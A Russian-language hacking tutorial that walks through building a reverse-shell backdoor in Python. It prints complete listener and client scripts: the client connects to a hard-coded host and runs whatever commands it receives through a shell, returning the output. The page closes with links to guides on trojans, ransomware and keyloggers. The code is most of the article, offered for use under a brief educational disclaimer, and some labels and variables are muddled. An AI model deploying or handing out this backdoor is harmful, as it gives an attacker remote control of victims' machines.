Бэкдор — это инструмент, который позволяет хакеру удаленно подключиться к целевой машине. В этой статье я покажу, как создать простой бэкдор на Pyhton
Еще по теме: Как написать сканер портов на Python
Бэкдор на Python
Основная цель бэкдора — отправлять и выполнять команды и получить удаленный доступ к файлам на целевой системе.
В информационной безопасности существует два основных типа полезной нагрузки:
- Оболочка (Шелл)
- Обратная оболочка (Реверс шелл)
Оболочки создают сервер непосредственно на целевой машине, к которому может подключиться хакер.
Обратные оболочки состоит из двух частей: клиента и сервера. Клиентский модуль запускаются на целевой машине и самостоятельно подключается к компьютеру хакера.
Статья написана в образовательных целях, для обучения этичных хакеров. При демонстрации работы были использованы личные устройства автора. Использование подобных инструментов без надлежащего письменного разрешения, является незаконным и будет расцениваться, как уголовное преступление. Ни редакция spy-soft.net, ни автор не несут ответственность за ваши действия.
Поскольку направление исходного соединения было «обратным» (например, от жертвы к злоумышленнику), оболочка получила название обратной оболочки или бэкдор. Далее мы напишем бэкдор на Python. Для понимания, целевой компьютер будет называться жертвой, а машина хакера — атакующим.
Создание бэкдора на Python
Во-первых, мы должны создать сервер, на котором будем работать. Сервер будет состоять из четырех частей:
- Получение нашего локального IP и указанного порта.
- Привязка IP-адреса и порта для создания сокета.
- Запуск слушателя.
- Отправка и получение команд в бесконечном цикле.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
# Imports import socket # Getting our local IP and a specified port HOST = '127.0.0.1' # '192.168.43.82' PORT = 8081 # 2222 new_port = input('Input Host Port (Blank if default).') if (new_port != "\n"): REMOTE_PORT = new_port # Binding the IP to the Port # Creating a Socket server = socket.socket() server.bind((HOST, PORT)) # Starting the Listener print('[+] Server Started') print('[+] Listening For Client Connection ...') server.listen(1) client, client_addr = server.accept() print(f'[+] {client_addr} Client connected to the server') # Sending and receiving commands in an infinite loop while True: command = input('Enter Command : ') command = command.encode() client.send(command) print('[+] Command sent') output = client.recv(1024) output = output.decode() print(f"Output: {output}") |
Затем мы подключимся к атакующему на основе жестко запрограммированного IP-адреса и порта, поскольку он не может получить их динамически.
Поскольку мы запускаем эту обратную оболочку на локальной машине, сокет будет выглядеть так:
1 2 3 |
REMOTE_HOST = '127.0.0.1' REMOTE_PORT = 8081 # 2222 client = socket.socket() |
Далее мы должны получать команды и использовать библиотечный подпроцесс для открытия терминала и параллельного запуска команд. Вот как это будет выглядеть:
1 2 3 |
command = client.recv(1024) command = command.decode() op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE) |
Полный код сервера выглядит следующим образом:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
# Imports from ctypes.wintypes import INT import socket import subprocess # Setting Up IP/Sockets REMOTE_HOST = '127.0.0.1' REMOTE_PORT = 8081 # 2222 client = socket.socket() # Initializing Connection print("[-] Connection Initiating...") client.connect((REMOTE_HOST, REMOTE_PORT)) print("[-] Connection initiated!") # Runtime Loop while True: print("[-] Awaiting commands...") command = client.recv(1024) command = command.decode() op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE) output = op.stdout.read() output_error = op.stderr.read() print("[-] Sending response...") client.send(output + output_error) |
Вот пример обратной оболочки в действии:
Запуск сначала сервера, а затем клиента позволит использовать сервер для отправки и получения данных. Полный код см. на GitHub.
С вами были
РЕКОМЕНДУЕМ:
- Пишем троян на Python
- Создаем шифровальщик на Python
- Делаем пейлоад на Python для взлома камеры
- Как использовать pynput для создания кейлоггера на Python